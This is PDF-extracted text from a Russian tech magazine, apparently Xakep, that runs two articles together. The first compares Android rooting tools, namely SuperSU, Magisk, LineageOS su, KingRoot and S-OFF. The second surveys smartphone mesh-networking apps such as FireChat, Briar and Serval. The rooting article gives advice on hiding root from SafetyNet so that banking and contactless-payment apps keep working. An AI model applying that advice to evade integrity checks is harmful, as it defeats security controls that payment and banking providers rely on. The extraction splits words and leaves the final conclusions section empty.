Сто ит  ли  поль зовать ся  SuperSU  сегод ня?  Решать  тебе.  Для  некото рых
устрой ств  прос то  нет  выбора,  но  в  целом,  похоже,  будущее —  за  дру гими
решени ями. А имен но — Magisk.

PHH SUPERUSER
Преж де  чем  перей ти  к  Magisk,  ска жем  пару  слов  о  .
Это  решение  —  форк  ори гиналь ного  Koush’s  Superuser,  того  самого,
с которо го ког да‐то все началось и на сме ну которо му в свое вре мя при шел
SuperSU.

phh  SuperUser

phh  SuperUser  —  опен сор сное  решение,  исходные  коды  которо го  дос‐ 
тупны  сооб щес тву  раз работ чиков.  Пред став лен  phh  SuperUser  был  имен но
в  качес тве  откры той  аль тер нативы  SuperSU  пос ле  того,  как  пос ледний  был
куп лен неус танов ленной груп пой лиц.

На сегод ня phh SuperUser как самос тоятель ное при ложе ние — уже исто‐ 
рия.  Уста нав ливать  его  отдель но  совер шенно  не  нуж но. Он  вошел  в  сос тав
Magisk, о котором ниже.

MAGISK
Что инте рес ного мож но написать про Magisk  пос ле  статьи,  опуб ликован ной
в  ? Пожалуй, сов сем нем ного.май ском номере

Magisk — это фрей мворк, объ еди няющий в себе фун кци ональ ность Super‐
SU  (в  фор ме  phh  SuperUser)  и  средс тва  для  низ коуров невой  модифи кации
сис темы.  Magisk  —  пол ностью  откры тый  про ект  с  дос тупны ми  исходны ми
кодами.  Механизм  получе ния  root  —  systemless,  не  вно сящий  изме нений
в system и поз воля ющий без проб лем обновлять про шив ку.

Од на из клю чевых фун кций Magisk — воз можность скры вать пра ва супер‐ 
поль зовате ля  как  от  отдель ных  при ложе ний,  так  и  от  про вер ки  SafetyNet.
И  если  скры тие  root‐дос тупа  спо соб но  вклю чить  бан ков ские  при ложе ния
и некото рые игры  (нап ример, Pokémon Go),  то  успешное про хож дение про‐ 
верок SafetyNet поз воля ет вос поль зовать ся сис темой бес контак тной опла ты
(Android Pay, Samsung Pay и подоб ными).

С помощью Magisk мож но под клю чать модули, модифи циру ющие про шив‐ 
ку на низ ком уров не (от прос тей ших модифи каций фай ла build.prop до таких
слож ных, как Viper 4Android). Они так же уста нав лива ются в режиме systemless
и  спо кой но  пережи вают  обновле ния  про шив ки  (что бы  вер нуть  все  модули
и нас трой ки обратно, дос таточ но пов торно уста новить Magisk).

Magisk

Есть  у  Magisk  и  недос татки.  Так,  не  все  при ложе ния  спо соб ны  кор рек тно
работать с root, получен ным с помощью Magisk, но впол не сов мести мы с Su‐
perSU.  При чина  —  те  нас трой ки  SELinux,  над  которы ми  дол го  бил ся  раз‐ 
работ чик Chainfire и которые поз воля ют при ложе ниям с пра вами супер поль‐ 
зовате ля про изво дить запись в сис темный раз дел (а это не толь ко модифи‐ 
кация  собс твен но  сис темных фай лов,  но  и  запись  перемен ных  в  некото рые
сис темные нас трой ки).

В  целом,  как  нам  кажет ся,  будущее  —  за  Magisk.  Про ект  дос тупен
в исходных кодах и быс тро раз вива ется, у него боль шое и активное сооб щес‐ 
тво раз работ чиков. Наконец, Magisk реали зует логич ный и пра виль ный под‐ 
ход к получе нию root‐прав и управле нию ими без чрез мерно го исполь зования
хаков и кос тылей.

Как уста новить рут с исполь зовани ем Magisk? Прос то ска чай пос леднюю
вер сию  из    и  про шей  ее  через  TWRP.  Разуме ется,  заг рузчик
устрой ства дол жен быть пред варитель но раз бло киро ван.

вет ки  на  XDA

LINEAGEOS
В LineageOS 13 и 14 root‐дос туп по умол чанию заб локиро ван. Для получе ния
прав  супер поль зовате ля  необ ходимо  ска чать  и  уста новить  через  TWRP
допол нитель ный  .мо дуль su

На вер ное,  это  самый  кор рек тный  спо соб  получе ния  прав  супер поль‐ 
зовате ля  из  всех рас смот ренных. Модуль,  как  и  осталь ные  час ти  про шив ки,
дос тупен  в  исходни ках;  никаких  сюр при зов  не  будет,  отклю чение  SELinux
не тре бует ся. Прав да, спря тать его от SafetyNet  тоже не получит ся, и это —
следс твие полити ки Lineage.

Ин терфейс управле ния пра вами root в LineageOS

К  сожале нию,  модуль  работа ет  далеко  не  на  каж дой  сбор ке  LineageOS.
На све жих офи циаль ных сбор ках, ска чан ных с сай та про екта, — да. А на мно‐ 
гочис ленных  неофи циаль ных —  тут  как  повезет.  Может  сра ботать,  а  может
ока зать ся, что root‐дос туп есть толь ко у ADB. В таких слу чаях, увы, при ходит ся
про шивать SuperSU или Magisk.

ЧТО ДЕЛАТЬ, ЕСЛИ ЗАГРУЗЧИК ЗАБЛОКИРОВАН
Что делать, если на тво ем устрой стве заб локиро ван заг рузчик, а раз бло киро‐ 
вать его невоз можно? Пра виль ный ответ — ничего. Root тебе не нужен, тебе
его  прос то  хочет ся;  и,  пожалуй ста,  не  путай  свои  «хотел ки»  с  необ‐ 
ходимостью — необ ходимос ти в root‐дос тупе у тебя нет, а если бы она была,
ты прос то купил бы устрой ство с заг рузчи ком, под дающим ся раз бло киров ке,
бла го в 2017 году никаких проб лем с этим не воз ника ет.

Ес ли же в тебе живет дух экспе римен татора, если пер спек тива лишить ся
гаран тии тебя не сму щает, потен циаль ный риск «кир пича» не оста нав лива ет,
отсутс твие  обновле ний  «по  воз духу»  не  пуга ет,  а  про давать  устрой ство
в будущем ты не собира ешь ся  (под кла дывать такую свинью, как рутован ный
заб локиро ван ный  смар тфон,  потен циаль ному  покупа телю  —  по  мень шей
мере  непоря доч но);  если,  наконец,  ты  эксперт‐кри мина лист  и  тебе  нуж но
извлечь из устрой ства дан ные, то читай даль ше.

Ес ли твой смар тфон работа ет на Android 7.х — тебе не повез ло. Как уже
было ска зано, начиная с Android 7.0  root  на смар тфо нах, офи циаль но одоб‐ 
ренных  Google  (то  есть  на  любых  смар тфо нах  с  офи циаль ной  под дер жкой
Google  Play),  мож но  получить  одним‐разъ единс твен ным  спо собом:  через
раз бло киро ван ный  заг рузчик  и  кас томное  рекаве ри.  А  уж  какой  имен но
менед жер  супер поль зовате ля  ты  выберешь  —  SuperSU,  Magisk  или  что‐то
еще, — зависит толь ко от тебя и тво их тре бова ний.

На Android 6 с регуляр ными пат чами безопас ности root тоже, как пра вило,
не  получить.  А  вот  если  патч  безопас ности  ста рый,  то  воз можны  вари анты.
Резуль тат будет силь но зависеть от модели, вер сии и под версии устрой ства,
от  про изво дите ля,  от  про шив ки,  от  вер сии  пат ча  безопас ности,  от  реги она
и  даже  от  того,  для  какого  сотово го  опе рато ра  пред назна чено  устрой ство
(это  камень  в  ого род  любите лей  заказать  из США  замет но  более  дешевую
модель  для  Sprint  или  Verizon,  а  потом  писать  паничес кие  пос тинги
на форумах).

Да же на Android 5.0–5.1.1 не все оче вид но. Прос то для при мера: на древ‐ 
нем Moto G 2014 года с Android 5.1.1 и пат чем безопас ности полуто раго дич‐ 
ной дав ности за все вре мя так никому и не уда лось получить root без раз бло‐ 
киро вания  заг рузчи ка  (а  раз бло киро вать  мож но  не  для  всех  моделей  и  не
для  всех опе рато ров. Для AT&T мож но,  а  для Verizon — нет,  и  тут без  вари‐ 
антов).

Ес ли  вер сия  Android  еще  ниже,  то  есть  неил люзор ная  веро ятность
получить root с помощью инс тру мен тов наподо бие KingRoot и Kingo Root.

KINGROOT, KINGO ROOT
KingRoot и Kingo Root — два совер шенно раз ных про дук та с похожи ми наз‐ 
вани ями,  поз воля ющие  получить  root  на  некото рых  устрой ствах.  Их  воз‐ 
можнос ти огра ничи вают ся вер сиями Android 4.x–5.1.1. KingRoot уста нав лива‐ 
ется толь ко на сам телефон в виде .apk‐фай ла, а для Kingo Root есть как при‐ 
ложе ние для смар тфо нов, так и прог рамма для Windows, работа ющая через
ADB. По утвер жде нию раз работ чиков, Windows‐вер сия про дук та сра баты вает
в боль шем чис ле слу чаев в срав нении с .apk.

Как это работа ет? KingRoot — китай ское при ложе ние, которое пос ле уста‐ 
нов ки  на  смар тфон  ска чива ет  с  китай ско го  сер вера  код  экс пло итов,  и  с  их
помощью  прог рамма  пыта ется  экс плу ати ровать  извес тные  ей  уяз вимос ти
CVE с целью эска лации при виле гий.

При этом у KingRoot есть ряд зна читель ных недос татков, о которых прос то
необ ходимо  знать  перед  тем,  как  пытать ся  взло мать  устрой ство  с  его
помощью:
1. Пол ностью зак рытое при ложе ние, никаких исходных кодов.
2. Клас сичес кий root «ста рой шко лы» через исполь зование уяз вимос тей.
3. Ни каких  гаран тий:  устрой ство  может  прев ратить ся  в  кир пич,  и  доволь но
лег ко.

4. У  тебя  нет  воз можнос ти  про кон тро лиро вать,  какой  имен но  код  будет
исполнять ся на тво ем устрой стве: код будет ска чан с китай ско го сер вера
непос редс твен но в момент взло ма.

5. KingRoot уста нав лива ет свой, очень цеп кий менед жер root‐дос тупа — King
User. Изба вить ся от него штат ным обра зом мож но толь ко вмес те с пол ным
уда лени ем root‐дос тупа.

6. За менить KingRoot на SuperSU воз можно, но не очень прос то. На XDA это‐ 
му пос вящена  .це лая вет ка

В целом root по‐китай ски — мероп риятие весь ма рис кован ное. В некото рых
слу чаях мож но получить бут луп, без воз врат но сло мать работу OTA‐обновле‐ 
ний,  обна ружить  в  сис темном  раз деле  мно го  инте рес ного  с  неиз вес тной
фун кци ональ ностью.

Ра зуме ется,  KingRoot  и  Kingo  Root  —  далеко  не  единс твен ные  спо собы
получить  root  через  исполь зование  уяз вимос ти.  Framaroot,  Towelroot,  iRoot,
One Click Root и мно гие дру гие при ложе ния осно ваны на похожем механиз ме
работы.  Раз ница  в  том,  что  в  боль шинс тве  таких  при ложе ний  исполня емый
код  находит ся  непос редс твен но  в  самом  при ложе нии  (.apk  или  прог рамме
для Windows),  в  то  вре мя  как  KingRoot  ска чива ет  код  для  взло ма  телефо на
с китай ско го сер вера.

ИГРА В КОШКИ-МЫШКИ: ПРЯЧЕМ ROOT ОТ SAFETYNET
До пус тим, пра ва супер поль зовате ля  ты получил. И вдруг неожи дан но у  тебя
отва лива ется Android Pay или Samsung Pay, бан ков ские при ложе ния перехо‐ 
дят  в  режим огра ничен ной фун кци ональ нос ти,  а  любимая игрушка Pokémon
Go дела ет  руч кой. Все  это — пос ледс твия  того,  что  рутован ный  телефон  (а
в некото рых слу чаях и прос то устрой ство с раз бло киро ван ным заг рузчи ком)
спра вед ливо счи тает ся менее безопас ным в срав нении с  устрой ством,  заг‐ 
рузчик которо го заб локиро ван, а root‐дос тупа нет.

За про вер ку безопас ности отве чает облачная фун кция SafetyNet, которая
тес тиру ет мно жес тво  аспектов  работы  устрой ства,  что бы  опре делить,  соот‐ 
ветс тву ет ли оно всем тре бова ниям  IT‐санита рии. Обра ти вни мание: реаль‐ 
ная  безопас ность  устрой ства  име ет  весь ма  опос редован ное  отно шение
к  резуль тату  про вер ки  SafetyNet  в  слу чае  как  положи тель ного,  так  и  отри‐ 
цатель ного вер дикта.

Root Checker Pro: root есть, но про вер ка SafetyNet не прой дена

Лег че и надеж нее все го скрыть root‐дос туп и факт раз бло киров ки заг рузчи ка
с помощью  root,  встро енно го в Magisk 13.3  (вер сия 13.2,  увы, про вер ку  уже
не  про ходит).  Для  это го  дос таточ но  акти виро вать  соот ветс тву ющий  модуль
в  Magisk  и  попытать ся  прой ти  про вер ку  SafetyNet  с  помощью  встро енно го
в Magisk тес та.

Magisk и тест SafetyNet

Да, уда ется это не всег да с пер вого раза, и да, Google ста новит ся все умнее
и  хит рее.  Уни вер саль ного  рецеп та  здесь  нет:  кому‐то  помога ет  про шив ка
дру гого ядра,  кому‐то — отклю чение режима отладки в меню раз работ чика,
кому‐то — перек лючение SELinux сна чала в Permissive, а потом обратно в En‐
forcing. Попада лись и поль зовате ли, которым помога ло отклю чение BusyBox
и Systemless hosts в меню Magisk (тре бует ся перезаг рузка). Наконец, во мно‐ 
гих  слу чаях  сра баты вает  перек лючение  Magisk  в  режим  Core  modules  only;
к  сожале нию,  это  половин чатое  решение,  так  как  оно  отклю чает  сто рон ние
рас ширения — а от них отка зывать ся сов сем не хотелось бы.

До недав него вре мени отно ситель но неп лохо работа ло скры тие root и для
SuperSU с помощью suhide.zip. К сожале нию, этот метод сла бо раз вива ется,
он  не  всег да  работа ет  так,  как  нам  хочет ся.  В  некото рых  слу чаях  его
не  получа ется  даже  уста новить  (телефон  прос то  перес тает  заг ружать ся).
Наконец, акту аль ный метод про вер ки SafetyNet (по сос тоянию на июль 2017‐
го) suhide не про ходит. Это не зна чит, что ситу ация не изме нит ся в будущем,
но здесь и сей час Magisk пря чет root эффектив нее.

ЧТО ТАКОЕ S-OFF И ДЛЯ ЧЕГО ОН НУЖЕН
Ес ли ты поль зователь HTC, то, веро ятно, зна ком с тер мином S‐OFF. Если же
нет, то, ско рее все го, ты с ним не стал кивал ся. Что это такое и с чем его едят?

Су щес тву ют  устрой ства  (к  ним  отно сят ся  некото рые  телефо ны  Samsung
и боль шинс тво флаг манов и суб флаг манов HTC),  у  которых раз бло киро ван‐ 
ный  заг рузчик  все  рав но  не  дает  дос тупа  к  кри тич ным  областям  памяти.
Поэто му нуж но выпол нить еще один допол нитель ный шаг уже пос ле раз бло‐ 
киро вания заг рузчи ка. Он и получил наз вание S‐OFF.

По лучить S‐OFF замет но слож нее, чем код для раз бло киро вания заг рузчи‐ 
ка с сай та HTC. Раз бло киро вание через S‐OFF, по сути, хак, экс плу ати рующий
най ден ные уяз вимос ти. Для мно гих моделей S‐OFF и вов се дос тупен толь ко
за  день ги.  Есть  ли  в  нем  смысл?  S‐OFF  раз решит  тебе  дос туп  прак тичес ки
к  любым  сис темным  областям  устрой ства.  В  час тнос ти,  для  некото рых
устрой ств  ста новит ся  воз можным  изме нить  про писан ную  на  заводе  реги‐ 
ональ ную  или  опе ратор скую  при вяз ку,  получать  обновле ния OTA  из  дру гого
источни ка  и  даже  раз бло киро вать  недос тающие  час тоты  LTE модема  (а  вот
это, кста ти, уже лицен зии).

ЗАКЛЮЧЕНИЕ
Тра дици онно  в  качес тве  зак лючения мы  под водим ито ги  и  выводим мораль
всей исто рии. Здесь же никакой морали нет, а итог очень прос той. Заг рузчик
нель зя  раз бло киро вать  офи циаль но?  Луч ше  не  свя зывай ся,  но  если  очень
хочет ся,  то  мож но  —  на  твой  страх  и  риск.  Заг рузчик  раз бло киро ван
или может быть раз бло киро ван? У  тебя есть выбор из  хороше го и еще луч‐ 
шего, SuperSU и Magisk. При вык к SuperSU или поль зуешь ся при ложе ниями,
которые  кор рек тно  работа ют  толь ко  с  ним?  Тоже  вари ант,  но  пом ни,  что
исходный  код  про дук та  зак рыт,  а  новые  вла дель цы  скры вают ся  за  шир мой
делавэр ской ком пании‐аген та.

mailto:aoleg@voicecallcentral.com
https://github.com/koush/Superuser
https://www.chainfire.eu/articles/129/SuperSU_v1_00_has_been_released_/
https://www.xda-developers.com/chainfire-makes-important-announcement-about-supersus-future/
https://www.reddit.com/r/Android/comments/54xdmp/ccmt_who_exactly_are_the_owners_of_supersu/
https://corp.delaware.gov/agents/a9297513.shtml
https://forum.xda-developers.com/apps/supersu/supersu-avoided-privacy-t3613342
http://www.supersu.com/download
https://forum.xda-developers.com/android/software-hacking/wip-selinux-capable-superuser-t3216394
https://xakep.ru/2017/05/25/magisk-android-firmware-customization/
https://forum.xda-developers.com/apps/magisk
https://download.lineageos.org/extras
https://forum.xda-developers.com/a310/general/how-to-remove-replace-kingroot-kinguser-t3308989


КАК СОЗДАТЬ СЕТЬ ИЗ СМАРТФОНОВ
БЕЗ ЕДИНОГО РОУТЕРА

Евгений Зобнин
zobnin@glc.ru

X‐MOBILE

Ин тернет уже дав но перес тал быть мес том неог раничен ной
сво боды  и  без наказан ности.  Сегод ня  Сеть  жес тко  кон тро‐ 
лиру ют  и  пре сека ют  любые  попыт ки  вый ти  за  иллю зор ную
чер ту  сво боды  самовы раже ния,  которую  тол ком  не  видят
даже  те,  кто  ее  при думал.  Китай  бло киру ет  VPN,  Рос сия
пыта ется  прог нуть  Дурова,  а  в  Евро пе  все  помеша лись
на  автор ском  пра ве.  Но  что,  если  мы  при дума ем  свой
интернет? Нет, не нар коман ский Tor, а в бук валь ном смыс ле
новую сеть. Такую, которая нап рямую соеди нит наши смар‐ 
тфо ны во имя сво боды рас простра нения информа ции.

ПРИШЕСТВИЕ MESH-СЕТЕЙ
В начале 1990‐х Чарльз Пер кинс из Sun Microsystems и Чай Кеон То из Кем‐ 
бридж ско го уни вер ситета незави симо друг от дру га начали работу над новым
типом  компь ютер ных  сетей,  которые  вмес то  при выч ной  инфраструк туры
интерне та исполь зовали бы пря мое бес про вод ное соеди нение меж ду  учас‐ 
тни ками,  а  сами  учас тни ки  мог ли  бы  одновре мен но  выпол нять  роль  отпра‐ 
вите ля, адре сата и мар шру тиза тора дан ных.

В  прос тей шем  слу чае  такая  сеть  мог ла  сос тоять  из  двух  или  трех  геог‐ 
рафичес ки раз несен ных учас тни ков. Если в сети все го два узла, они прос то
обме нива лись  дан ными  друг  с  дру гом.  Ког да  появ лялся  тре тий  учас тник,
который  находил ся  в  зоне  дос тупнос ти  толь ко  одно го  из  двух  дру гих  узлов,
сеть авто мати чес ки перес тра ива лась так, что бы все узлы мог ли получить дос‐ 
туп друг к дру гу, исполь зуя один из узлов как мар шру тиза тор. В даль нейшем
мог ли появить ся дру гие узлы, свя зи меж ду ними ста нови лись слож нее, мар‐ 
шру ты  удли нялись,  появ лялись  аль тер натив ные  мар шру ты,  сеть  рос ла  геог‐ 
рафичес ки, пок рывая все боль шие прос транс тва.

Та кова была  изна чаль ная  идея,  поз днее  получив шая  имя  «бес про вод ная
ad hoc сеть» или «бес про вод ная mesh‐сеть». Ее широко му рас простра нению
мешало  мно жес тво  фак торов:  недора ботан ность  тех нологий,  выпол нявших
динами чес кий  роутинг  дан ных,  огра ничен ность  тог дашне го  сетево го  обо‐ 
рудо вания  и  компь юте ров,  которые  не  мог ли  обес печить  дос таточ ные  ско‐ 
рос ти переда чи дан ных в боль ших сетях, малая рас простра нен ность бес про‐ 
вод ных  тех нологий переда чи дан ных. В  кон це  кон цов, было непонят но,  куда
прис тро ить  огра ничен ную  новую  тех нологию  на  фоне  все обще го  инте реса
к  интерне ту.  Раз ве  что  воен ные  хотели  заполу чить  неч то  подоб ное,  что бы
иметь воз можность быс тро раз вернуть сеть пря мо на поле боя.

Од нако в 2004  году на свет появи лась бес про вод ная mesh‐сеть  ,
раз верну тая на тер ритории Катало нии, вхо дящей в сос тав Испа нии. Сог ласно

,  люди  задол бались  ждать  нор маль ный  интернет  в  сво ем  реги оне
и  решили  под нять  свою  собс твен ную  сеть,  с Wi‐Fi‐роуте рами,  супер нодами
и выходом в тот самый интернет, о котором все слы шали, но который ник то
не видел.

guifi.net

ле ген де

Се год ня  guifi.net  сос тоит  из  33  тысяч  узлов  и  пок рыва ет  тер риторию
в  46  тысяч  километ ров,  а  под клю чение  к  ней  не  сто ит  абсо лют но  ничего,
за  исклю чени ем  цены  Wi‐Fi‐роуте ра  с  модифи циро ван ной  про шив кой  DD‐
WRT. Роуте ры объ еди няют ся в сеть и обра зуют  так называ емый остров,  все
узлы  в  котором  обме нива ются  дан ными  друг  с  дру гом  по  опи сан ной  выше
схе ме. Остро ва  объ еди няют ся  с  помощью  суперуз лов  (supernode),  которые
могут быть соеди нены меж ду собой с помощью про вод ных и бес про вод ных
тех нологий. Таким же обра зом орга низо ван выход в интернет.

По хожая сеть есть у  , и так же, как guifi.net, она нас не инте ресу ет.
Гораз до боль ше нам инте рес ны мобиль ные mesh‐сети.

афи нян

Кар та guifi.net

МОБИЛЬНЫЕ MESH-СЕТИ
Идея  mesh‐сетей,  которые  бы  не  тре бова ли  спе циаль ного  обо рудо вания
для  под клю чения  друг  к  дру гу,  появи лась  поч ти  сра зу  пос ле  начала  рас‐ 
простра нения  осна щен ных Wi‐Fi  ноут буков. Одна ко,  как  и  в  слу чае  с  экспе‐ 
римен тами начала девянос тых,  такие сети не выш ли за  гра ницы иссле дова‐ 
тель ских лабора торий и воен ных полиго нов, а обыч ные поль зовате ли начали
обоз начать тер мином ad hoc все го лишь пря мое соеди нение двух ноут буков,
один из которых играл роль точ ки дос тупа и обес печивал выход в интернет.

То же самое про изош ло и со смар тфо нами. Все мы зна ем, нас коль ко лег‐ 
ко  прев ратить  смар тфон на Android  в  точ ку  дос тупа:  пара  нажатий,  и  к  тебе
может  под клю чить ся  кто  угод но.  Но  зна ешь  ли  ты,  как  свя зать  боль шое
количес тво смар тфо нов в само орга низу ющуюся сеть?

FIRECHAT
В 2014 году в App Store и Google Play появи лось при ложе ние под наз вани ем
FireChat.  С  виду  это  был  впол не  стан дар тный  мес сен джер  в  духе WhatsApp
и  Telegram,  но  работал  он  сов сем  по‐дру гому.  FireChat  умел  исполь зовать
тех нологии  Wi‐Fi  Direct  и  Ad  hoc  Bluetooth  для  пря мого  соеди нения  меж ду
бли жай шими  устрой ства ми,  а  затем  объ еди нял  их  в  общую  mesh‐сеть,
которая  поз воляла  донес ти  сооб щение  до  адре сата  через  цепоч ку  дру гих
смар тфо нов.

Ес ли  какой‐то  из  смар тфо нов  в  цепоч ке  имел  дос туп  в  интернет,  сооб‐ 
щение так же отправ лялось на сер вер, так что FireChat мог не толь ко объ еди‐ 
нять локаль ные сети смар тфо нов, но и соеди нять одни сети с дру гими. Если
же поб лизос ти не было ни одно го дру гого смар тфо на с FireChat, при ложе ние
исполь зовало тра дици онный режим работы через сер вер.

Кар та одной из mesh‐сетей FireChat

FireChat  стал  популяр ным  у  про тес тующих  раз ных  стран.  Его  исполь зовали
во вре мя  ,  , Тай ване и некото рых дру гих стра нах. Так‐ 
же  он  стал  популя рен  на  фес тивале  Burning  Man,  а  тех ничес кий  дирек тор
фран цуз ско го пра витель ства приз вал граж дан уста нав ливать FireChat во вре‐ 
мя мар ша пос ле нападе ния на Charlie Hebdo. При ложе ние удос тоилось нес‐ 
коль ких  наг рад  за  инно ваци онную  тех нологию  и  получи ло  «анти наг раду»
от  AT&T.  Ком пания  пот ребова ла  уда лить  FireChat  из  магази на  при ложе ний
за так называ емую несан кци они рован ную раз дачу интерне та.

про тес тов в Ира ке Ки тае

Се год ня  FireChat  по‐преж нему  дос тупен  в  App Store  и  Play  Store,  одна ко
не поль зует ся осо бой популяр ностью. Вер сия для Android стре митель но тра‐ 
тит  ресурс  батарей ки  и  пос тоян но  сбра сыва ет  кон нект  к  Wi‐Fi,  пыта ясь
перевес ти  его  в  режим  Wi‐Fi  ad  hoc.  Но  при  желании  при ложе ние  впол не
мож но исполь зовать.

FireChat

Кро ме  FireChat,  раз работ чики  ком пании  Open  Garden  так же  соз дали 
,  спо соб ное  прев ращать  смар тфон

в  точ ку  дос тупа:  он  соз дает  mesh‐сеть,  которая  свя зыва ет  мно жес тво  раз‐ 
личных устрой ств воеди но и нап равля ет их тра фик тем смар тфо нам, что име‐ 
ют выход в интернет.

при‐ 
ложе ние  для  рас шарива ния  интерне та

BRIAR
Сов сем недав но у FireChat появил ся серь езный кон курент, он называ ется 
.  Его  раз работ чики  пош ли  еще  даль ше  и  сде лали  при ложе ние,  которое

не  толь ко  спо соб но  работать  в  двух  режимах  (с  интерне том  и  без),  но  и
не исполь зует сер вер вооб ще.

Bri‐
ar

В  слу чае  работы  без  интерне та  Briar  пыта ется  свя зать ся  с  бли жай шими
узла ми,  исполь зуя Bluetooth  и Wi‐Fi. Далее он  зап рашива ет  у  них  информа‐ 
цию о дру гих узлах сети и может начать обме нивать ся с ними сооб щени ями.
Если  же  дос туп  в  интернет  есть,  Briar  находит  нуж ные  кон такты  с  помощью
рас пре делен ной хеш‐таб лицы и поз воля ет уста новить с ними связь, исполь‐ 
зуя  сеть  Tor  как  тран спорт.  И  в  том  и  в  дру гом  слу чае  Briar  не  полага ется
на  сер вер или цен тра лизо ван ное  хра нили ще дан ных,  это  пол ностью децен‐ 
тра лизо ван ное P2P‐решение.

Ар хитек тура Briar

Briar не толь ко и не столь ко мес сен джер, сколь ко плат форма для пос тро ения
незави симой  и  нерегу лиру емой  сети.  При ложе ние  поз воля ет  вес ти  бло ги
и соз давать форумы, а в будущем раз работ чики пла ниру ют добавить под дер‐ 
жку сов мес тной работы над докумен тами.

Раз работ кой Briar  занима ется коман да из шес ти человек, в  которую вхо‐ 
дят: клю чевой раз работ чик I2P Джек Григ (Jack Grigg), один из раз работ чиков
Freenet  и  LimeWire Май кл  Род жерс  (Michael  Rogers),  автор  ини циати вы 

 Тор стен Грот  (Torsten Grote). Код Briar пуб лику ется по лицен зии
GPLv3 и  уже про шел аудит безопас ности в  ком пании Cure53,  которая  так же
занима лась ауди том SecureDrop, Cryptocat и Dovecot.

Free
Your Android

В  дан ный  момент  Briar  дос тупен  толь ко  на  Android  в  виде  пуб личной
бета‐вер сии. Сама сеть работа ет в тес товом режиме — 21 октября все дан‐ 
ные, вклю чая спи сок кон тактов и архив сооб щений, будут очи щены. Эта мера
пре дос торож ности  нуж на,  что бы  обе зопа сить  поль зовате лей  от  воз можных
рис ков,  свя зан ных  с  уяз вимос тями,  которые  могут  быть  най дены  во  вре мя
тес тирова ния.

Briar

SERVAL PROJECT
Ши рокие мас сы обра тили вни мание на мобиль ные mesh‐сети  толь ко пос ле
появ ления при ложе ния FireChat. Но еще до начала его раз работ ки сущес тво‐ 
вал  про ект  ,  спон сиру емый  фон дом  того  самого  Мар ка  Шатт лвор та,
летав шего в кос мос соз дателя Ubuntu.

Serval

Serval  пред став ляет  собой  плат форму  для  соз дания  mesh‐сетей.  Ее
основной ком понент носит имя DNA и вклю чает в себя реали зацию про токо‐ 
лов  ,  ,  сис тему
дис три буции фай лов   и сис тему обме на сооб щени ями  .

Mesh Datagram Protocol (MDP) Voice over Mesh Protocol (VoMP)
Rhizome MeshMS

Serval DNA мож но запус тить на самых раз ных плат формах, вклю чая Linux,
macOS,  OpenWrt  и,  конеч но  же,  Android.  В  пос леднем  слу чае  необ ходимо
уста новить  при ложе ние  ,  которое  реали зует  воз можнос ти,  пре‐ 
дос тавля емые  DNA:  зашиф рован ные  ауди озвонки,  зашиф рован ные  тек сто‐ 
вые  сооб щения  и  обмен  фай лами.  Так же  в  при ложе нии  есть  кноп ка
для запус ка карт, но эта фун кци ональ ность пока не реали зова на.

Serval Mesh

В  отли чие  от  FireChat  и  Briar,  Serval Mesh  реали зует  «чис тую» mesh‐сеть
без воз можнос ти работы через интернет и таким обра зом не может свя зать
нес коль ко  раз личных  сетей  воеди но.  Но  у  раз работ чиков  есть  дру гое
решение —  . Это неч то вро де спе циаль ного роуте ра с пре дус танов‐ 
ленным  Serval  DNA,  который  поз воля ет  сущес твен но  рас ширить  область
видимос ти сети. Про ект успешно про валил ся на  Indiegogo, но раз работ чики
всег да готовы начать про изводс тво при наличии финан сирова ния.

Extender

Serval Mesh

НЕ СОВСЕМ MESH
Ус пех FireChat показал, что mesh‐сети могут быть вос тре бован ными не толь ко
сре ди воен ных и иссле дова телей. Мно гие раз работ чики решили взять мод‐ 
ную тех нологию на воору жение. Но, как это обыч но быва ет, не оси лили саму
тех нологию и выпус тили на свет неч то стран ное.

 — один из хороших при меров таких при ложе ний. Это мес сен‐ 
джер, который работа ет нап рямую через Wi‐Fi, но при этом не уме ет выс тра‐ 
ивать  пол ноцен ную mesh‐сеть. Он  прос то  соз дает  точ ку  дос тупа,  к  которой
могут  под клю чать ся  дру гие  поль зовате ли,  что бы  общать ся  друг  с  дру гом
голосом  или  тек сто выми  сооб щени ями.  Весь  тра фик  про ходит  через  цен‐ 
траль ный смар тфон, так что пос ле его отклю чения поль зовате ли теря ют дос‐ 
туп друг к дру гу.

Wi‐Fi Talkie

  (не  путать  с  Signal)  —  еще  один  мес сен джер,
осно ван ный  на  том  же  прин ципе.  Вмес то  соф твер ной  точ ки  дос тупа,
к которой под клю чают ся дру гие узлы, он исполь зует тех нологию Wi‐Fi Direct,
поз воля ющую соеди нить два устрой ства нап рямую без лиш ней мороки. Все
юзе ры  соеди няют ся  друг  с  дру гом,  но  не  обра зуют  сеть,  так  что  общать ся
мож но толь ко с теми, кто находит ся в зоне при ема Wi‐Fi.

Signal  Offline  Messenger

  —  более  инте рес ная  раз работ ка.  Это  твит тер‐кли ент
с  под дер жкой  режима  «офлайн».  Работа ет  он  так:  если  во  вре мя  отправ ки
тви та  кли ент  обна ружи вает,  что  под клю чения  к  внеш ней  сети  нет,  Twimight
уста нав лива ет Bluetooth‐соеди нение с бли жай шими смар тфо нами и переда‐ 
ет им твит нап рямую. Те, в свою оче редь, переда ют твит даль ше, и так до тех
пор,  пока  все  находя щиеся  поб лизос ти  смар тфо ны  не  получат  сооб щение.
Естес твен но, на всех смар тфо нах дол жен быть уста нов лен Twimight.

Twimight  for  Twitter

Wi‐Fi Talkie и Signal Offline Messenger

Но утбу ки    (One  Laptop  Per  Child,  «Каж дому  ребен ку  по  ноут буку»)
исполь зуют  mesh‐сеть  для  ком муника ции  друг  с  дру гом,  ког да  интернет
недос тупен.

• OLPC

Google  Home,  Google  Wi‐Fi,  Google  OnHub  и  Apple  AirPort  исполь зуют
mesh‐сеть для объ еди нения мно жес тва устрой ств в сеть с общим выходом
в интернет.

•

Спут ники  Iridium,  отве чающие  за  переда чу  дан ных  меж ду  спут никовы ми
телефо нами, объ еди нены в mesh‐сеть.

•

Мно гие IoT‐устрой ства (розет ки, лам почки, умные жалюзи и про чее) уме ют
объ еди нять ся  в mesh‐сеть  для  дос тавки  информа ции меж ду  устрой ства‐ 
ми.

•

Ве дут ся работы по объ еди нению в mesh‐сеть бес пилот ных авто моби лей,
что бы они мог ли обме нивать ся друг с дру гом информа цией об обста нов ке
на дороге.

•

iOS под держи вает работу в mesh‐сетях начиная с вер сии 7.0. Android под‐ 
держи вает  Wi‐Fi  Direct  с  вер сии  4.0,  а  сов сем  недав но  в  Play  Services
появил ся  API  ,  который  сущес твен но  упро щает
задачу соз дания mesh‐сетей.

•

Nearby  Connections  2.0

ВЫВОДЫ
